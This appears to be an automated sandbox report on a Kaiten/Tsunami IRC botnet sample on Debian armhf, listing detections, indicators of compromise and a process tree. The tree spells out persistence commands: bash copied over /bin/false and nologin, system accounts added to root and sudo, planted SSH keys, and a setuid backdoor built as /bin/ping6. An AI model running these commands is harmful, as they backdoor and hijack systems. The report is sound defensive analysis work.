kaiten | 975a79e3549d8c0b8f102888d4c407535404a18b17086c6ae580850a8aa32ff1

Analysis

max time kernel
149s
max time network
154s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/08/2024, 20:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

go
Size

3KB
MD5

fd55f0754084ba041539bb469f06a83d
SHA1

af7beef3297d77bdf1299a4fbf6cc50e27113aa4
SHA256

9bde6ebc01e00f36cb71b979f602f61a0f78e201ad9073ae557d764578789023
SHA512

cee0d136026accde83034f0b135dac8bdc2eec1a395a518f4b15c813062d75d49432b6d0ba996448107c1735382e84c31aeec372e9e1a9f830f1be848f7a8248

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 3 IoCs

resource	yara_rule
behavioral6/files/fstream-2.dat	family_kaiten2
behavioral6/files/fstream-4.dat	family_kaiten2
behavioral6/files/fstream-10.dat	family_kaiten2

Detects Kaiten/Tsunami payload 2 IoCs

resource	yara_rule
behavioral6/files/fstream-4.dat	family_kaiten
behavioral6/files/fstream-10.dat	family_kaiten

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	go
File opened for modification	/root/.ssh/authorized_keys	touch

Modifies password files for system users/ groups 16 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

description	ioc	Process
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/gshadow	usermod

Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/sbin/nologin	cp

Writes file to system bin folder 1 TTPs 64 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/sbin/zramctl	touch
File opened for modification	/bin/false	cp
File opened for modification	/sbin/dhclient-script	touch
File opened for modification	/sbin/mkfs.ext3	touch
File opened for modification	/sbin/swapoff	touch
File opened for modification	/bin/chgrp	touch
File opened for modification	/bin/mt-gnu	touch
File opened for modification	/bin/ping6	touch
File opened for modification	/bin/pwd	touch
File opened for modification	/bin/setfont	touch
File opened for modification	/sbin/tc	touch
File opened for modification	/sbin/fsck.ext3	touch
File opened for modification	/bin/clean	touch
File opened for modification	/bin/df	touch
File opened for modification	/bin/setupcon	touch
File opened for modification	/bin/systemd-notify	touch
File opened for modification	/sbin/blkdeactivate	touch
File opened for modification	/sbin/ifup	touch
File opened for modification	/sbin/modprobe	touch
File opened for modification	/sbin/telinit	touch
File opened for modification	/bin/uncompress	touch
File opened for modification	/sbin/isosize	touch
File opened for modification	/sbin/ldconfig	touch
File opened for modification	/sbin/restorecon_xattr	touch
File opened for modification	/bin/fgconsole	touch
File opened for modification	/bin/rm	touch
File opened for modification	/sbin/mkfs.bfs	touch
File opened for modification	/sbin/mkfs.ext2	touch
File opened for modification	/bin/findmnt	touch
File opened for modification	/bin/mountpoint	touch
File opened for modification	/bin/ss	touch
File opened for modification	/bin/udevadm	touch
File opened for modification	/sbin/fsck.ext2	touch
File opened for modification	/sbin/iptables-restore	touch
File opened for modification	/bin/.ssh/authorized_keys	go
File opened for modification	/bin/bzip2	touch
File opened for modification	/bin/mv	touch
File opened for modification	/bin/systemd-ask-password	touch
File opened for modification	/bin/gzip	touch
File opened for modification	/bin/ping4	touch
File opened for modification	/sbin/fstrim	touch
File opened for modification	/sbin/mkhomedir_helper	touch
File opened for modification	/bin/mkdir	touch
File opened for modification	/sbin/discover-modprobe	touch
File opened for modification	/sbin/tune2fs	touch
File opened for modification	/bin/dumpkeys	touch
File opened for modification	/bin/lsmod	touch
File opened for modification	/bin/systemd-escape	touch
File opened for modification	/bin/bzip2recover	touch
File opened for modification	/bin/hostname	touch
File opened for modification	/bin/systemd-hwdb	touch
File opened for modification	/bin/fgrep	touch
File opened for modification	/bin/true	touch
File opened for modification	/sbin/init	touch
File opened for modification	/sbin/dmstats	touch
File opened for modification	/sbin/fsfreeze	touch
File opened for modification	/sbin/nologin	touch
File opened for modification	/bin/bzmore	touch
File opened for modification	/bin/zcat	touch
File opened for modification	/sbin/cfdisk	touch
File opened for modification	/sbin/ctrlaltdel	touch
File opened for modification	/bin/unicode_start	touch
File opened for modification	/sbin/restorecon	touch
File opened for modification	/sbin/discover	touch

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-bash	824	perl
Changes the process name, possibly in an attempt to hide itself	-bash	832	perl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	usermod

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ccZZZegA.c	collect2
File opened for modification	/tmp/ccxSisZM.o	gcc
File opened for modification	/tmp/ccMTjopr.o	as
File opened for modification	/tmp/cck8CPyf.res	gcc
File opened for modification	/tmp/ccTLRbyc.c	collect2
File opened for modification	/tmp/ccTndyBb.o	as
File opened for modification	/tmp/ccV0hqiA.s	cc1
File opened for modification	/tmp/ccNomLX7.o	as
File opened for modification	/tmp/ccazplnS.c	collect2
File opened for modification	/tmp/ccYsaltj.ld	collect2
File opened for modification	/tmp/ccgWMgUh.o	collect2
File opened for modification	/tmp/ccTndyBb.o	gcc
File opened for modification	/tmp/ccMsipWb.res	gcc
File opened for modification	/tmp/ccWzwb1N.o	collect2
File opened for modification	/tmp/cceia0rz.o	collect2
File opened for modification	/tmp/ccapWOL2.o	collect2
File opened for modification	/tmp/cc2DyBq9.le	collect2
File opened for modification	/tmp/ccso4OJq.s	cc1
File opened for modification	/tmp/ccLJUZja.s	cc1
File opened for modification	/tmp/ccSXOj1g.res	gcc
File opened for modification	/tmp/cc4CGxa6.le	collect2
File opened for modification	/tmp/ccso4OJq.s	gcc
File opened for modification	/tmp/ccQi3443.s	gcc
File opened for modification	/tmp/ccNomLX7.o	gcc
File opened for modification	/tmp/cciqdi9h.res	gcc
File opened for modification	/tmp/ccxuHt9x.ld	collect2
File opened for modification	/tmp/ccLJUZja.s	gcc
File opened for modification	/tmp/ccxSisZM.o	as
File opened for modification	/tmp/ccmKOxry.le	collect2
File opened for modification	/tmp/ccV0hqiA.s	gcc
File opened for modification	/tmp/ccMTjopr.o	gcc
File opened for modification	/tmp/ccF5UYEp.ld	collect2
File opened for modification	/tmp/ccYTPSyw.le	collect2
File opened for modification	/tmp/ccQi3443.s	cc1
File opened for modification	/tmp/ccLlQ5Tu.c	collect2
File opened for modification	/tmp/ccv8amM9.ld	collect2

/tmp/go
/tmp/go
1⤵
- Adds new SSH keys
- Writes file to system bin folder
PID:658
- /usr/bin/gcc
  gcc -o /usr/share/man/man1/kwk a.c
  2⤵
  - Writes file to tmp directory
  PID:661
- - /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
    /usr/lib/gcc/arm-linux-gnueabihf/6/cc1 -quiet -imultilib . -imultiarch arm-linux-gnueabihf a.c -quiet -dumpbase a.c "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" -mthumb "-mtls-dialect=gnu" -auxbase a -o /tmp/ccQi3443.s
    3⤵
    - Writes file to tmp directory
    PID:668
- - /usr/local/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccTndyBb.o /tmp/ccQi3443.s
    3⤵
    PID:688
- - /usr/local/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccTndyBb.o /tmp/ccQi3443.s
    3⤵
    PID:688
- - /usr/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccTndyBb.o /tmp/ccQi3443.s
    3⤵
    PID:688
- - /usr/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccTndyBb.o /tmp/ccQi3443.s
    3⤵
    - Writes file to tmp directory
    PID:688
- - /usr/lib/gcc/arm-linux-gnueabihf/6/collect2
    /usr/lib/gcc/arm-linux-gnueabihf/6/collect2 -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccMsipWb.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccTndyBb.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:689
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccMsipWb.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccTndyBb.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
      4⤵
      PID:690
- /tmp/distro
  ./distro
  2⤵
  PID:695
- /bin/rm
  rm -rf /sbin/nologin
  2⤵
  PID:697
- /bin/rm
  rm -rf /usr/sbin/nologin
  2⤵
  PID:698
- /bin/rm
  rm -rf /bin/false
  2⤵
  PID:700
- /bin/cp
  cp /bin/bash /bin/false
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:701
- /bin/cp
  cp /bin/bash /usr/sbin/nologin
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:703
- /bin/cp
  cp /bin/bash /sbin/nologin
  2⤵
  - Reads runtime system information
  PID:705
- /usr/sbin/usermod
  usermod -G root nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:708
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:711
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:712
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:713
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:714
- /usr/sbin/usermod
  usermod -G root bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:715
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:718
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:719
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:720
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:721
- /usr/sbin/usermod
  usermod -G sudo nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:722
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:723
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:724
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:726
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:727
- /usr/sbin/usermod
  usermod -G sudo bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:728
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:730
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:731
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:732
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:733
- /bin/rm
  rm -rf "/bin/.ssh/authorized*"
  2⤵
  PID:734
- /bin/rm
  rm -rf "/usr/games/.ssh/authorized*"
  2⤵
  PID:736
- /bin/mkdir
  mkdir /bin/.ssh -p
  2⤵
  - Reads runtime system information
  PID:737
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:739
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:740
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:742
- /usr/bin/whoami
  whoami
  2⤵
  PID:743
- /bin/hostname
  hostname
  2⤵
  PID:745
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:746
- /usr/bin/whoami
  whoami
  2⤵
  PID:747
- /bin/hostname
  hostname
  2⤵
  PID:749
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:750
- /bin/chmod
  chmod 755 /usr/games/.ssh
  2⤵
  PID:752
- /bin/chmod
  chmod 600 /usr/games/.ssh/authorized_keys
  2⤵
  PID:753
- /bin/chown
  chown games:games /usr/games/.ssh/
  2⤵
  PID:754
- /bin/chown
  chown games:games /usr/games/.ssh/authorized_keys
  2⤵
  PID:756
- /bin/chown
  chown bin:bin /usr/bin/.ssh/
  2⤵
  PID:758
- /bin/chown
  chown bin:bin "/usr/bin/.ssh/au*"
  2⤵
  PID:759
- /bin/rm
  rm -rf /bin/ping6 /sbin/ping6
  2⤵
  PID:760
- /usr/bin/gcc
  gcc -o /bin/ping6 ping.c
  2⤵
  - Writes file to tmp directory
  PID:762
- - /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
    /usr/lib/gcc/arm-linux-gnueabihf/6/cc1 -quiet -imultilib . -imultiarch arm-linux-gnueabihf ping.c -quiet -dumpbase ping.c "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" -mthumb "-mtls-dialect=gnu" -auxbase ping -o /tmp/ccV0hqiA.s
    3⤵
    - Writes file to tmp directory
    PID:764
- - /usr/local/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccNomLX7.o /tmp/ccV0hqiA.s
    3⤵
    PID:767
- - /usr/local/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccNomLX7.o /tmp/ccV0hqiA.s
    3⤵
    PID:767
- - /usr/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccNomLX7.o /tmp/ccV0hqiA.s
    3⤵
    PID:767
- - /usr/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccNomLX7.o /tmp/ccV0hqiA.s
    3⤵
    - Writes file to tmp directory
    PID:767
- - /usr/lib/gcc/arm-linux-gnueabihf/6/collect2
    /usr/lib/gcc/arm-linux-gnueabihf/6/collect2 -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cciqdi9h.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/ping6 /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccNomLX7.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:770
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cciqdi9h.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/ping6 /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccNomLX7.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
      4⤵
      PID:772
- /bin/chmod
  chmod u+xs /bin/ping6
  2⤵
  PID:780
- /bin/cp
  cp /bin/ping6 /sbin/uid
  2⤵
  - Reads runtime system information
  PID:782
- /bin/cp
  cp /bin/ping6 /usr/include/bakla.h
  2⤵
  - Reads runtime system information
  PID:784
- /usr/bin/gcc
  gcc -DLINUX -Wall -o /bin/cls cls.c
  2⤵
  - Writes file to tmp directory
  PID:785
- - /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
    /usr/lib/gcc/arm-linux-gnueabihf/6/cc1 -quiet -imultilib . -imultiarch arm-linux-gnueabihf -D LINUX cls.c -quiet -dumpbase cls.c "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" -mthumb "-mtls-dialect=gnu" -auxbase cls -Wall -o /tmp/ccLJUZja.s
    3⤵
    - Writes file to tmp directory
    PID:787
- - /usr/local/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccxSisZM.o /tmp/ccLJUZja.s
    3⤵
    PID:798
- - /usr/local/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccxSisZM.o /tmp/ccLJUZja.s
    3⤵
    PID:798
- - /usr/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccxSisZM.o /tmp/ccLJUZja.s
    3⤵
    PID:798
- - /usr/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccxSisZM.o /tmp/ccLJUZja.s
    3⤵
    - Writes file to tmp directory
    PID:798
- - /usr/lib/gcc/arm-linux-gnueabihf/6/collect2
    /usr/lib/gcc/arm-linux-gnueabihf/6/collect2 -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccSXOj1g.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/cls /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccxSisZM.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:800
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccSXOj1g.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/cls /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccxSisZM.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
      4⤵
      PID:801
- /usr/bin/gcc
  gcc clean.c -o /bin/clean -D Linux
  2⤵
  - Writes file to tmp directory
  PID:802
- - /usr/lib/gcc/arm-linux-gnueabihf/6/cc1
    /usr/lib/gcc/arm-linux-gnueabihf/6/cc1 -quiet -imultilib . -imultiarch arm-linux-gnueabihf -D Linux clean.c -quiet -dumpbase clean.c "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" -mthumb "-mtls-dialect=gnu" -auxbase clean -o /tmp/ccso4OJq.s
    3⤵
    - Writes file to tmp directory
    PID:803
- - /usr/local/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccMTjopr.o /tmp/ccso4OJq.s
    3⤵
    PID:812
- - /usr/local/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccMTjopr.o /tmp/ccso4OJq.s
    3⤵
    PID:812
- - /usr/sbin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccMTjopr.o /tmp/ccso4OJq.s
    3⤵
    PID:812
- - /usr/bin/as
    as "-march=armv7-a" "-mfloat-abi=hard" "-mfpu=vfpv3-d16" "-meabi=5" -o /tmp/ccMTjopr.o /tmp/ccso4OJq.s
    3⤵
    - Writes file to tmp directory
    PID:812
- - /usr/lib/gcc/arm-linux-gnueabihf/6/collect2
    /usr/lib/gcc/arm-linux-gnueabihf/6/collect2 -plugin /usr/lib/gcc/arm-linux-gnueabihf/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/arm-linux-gnueabihf/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cck8CPyf.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -dynamic-linker /lib/ld-linux-armhf.so.3 -X "--hash-style=gnu" -m armelf_linux_eabi -pie -o /bin/clean /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/Scrt1.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crti.o /usr/lib/gcc/arm-linux-gnueabihf/6/crtbeginS.o -L/usr/lib/gcc/arm-linux-gnueabihf/6 -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf -L/usr/lib/gcc/arm-linux-gnueabihf/6/../../.. -L/lib/arm-linux-gnueabihf -L/usr/lib/arm-linux-gnueabihf /tmp/ccMTjopr.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/arm-linux-gnueabihf/6/crtendS.o /usr/lib/gcc/arm-linux-gnueabihf/6/../../../arm-linux-gnueabihf/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:815
  - - /usr/bin/ld
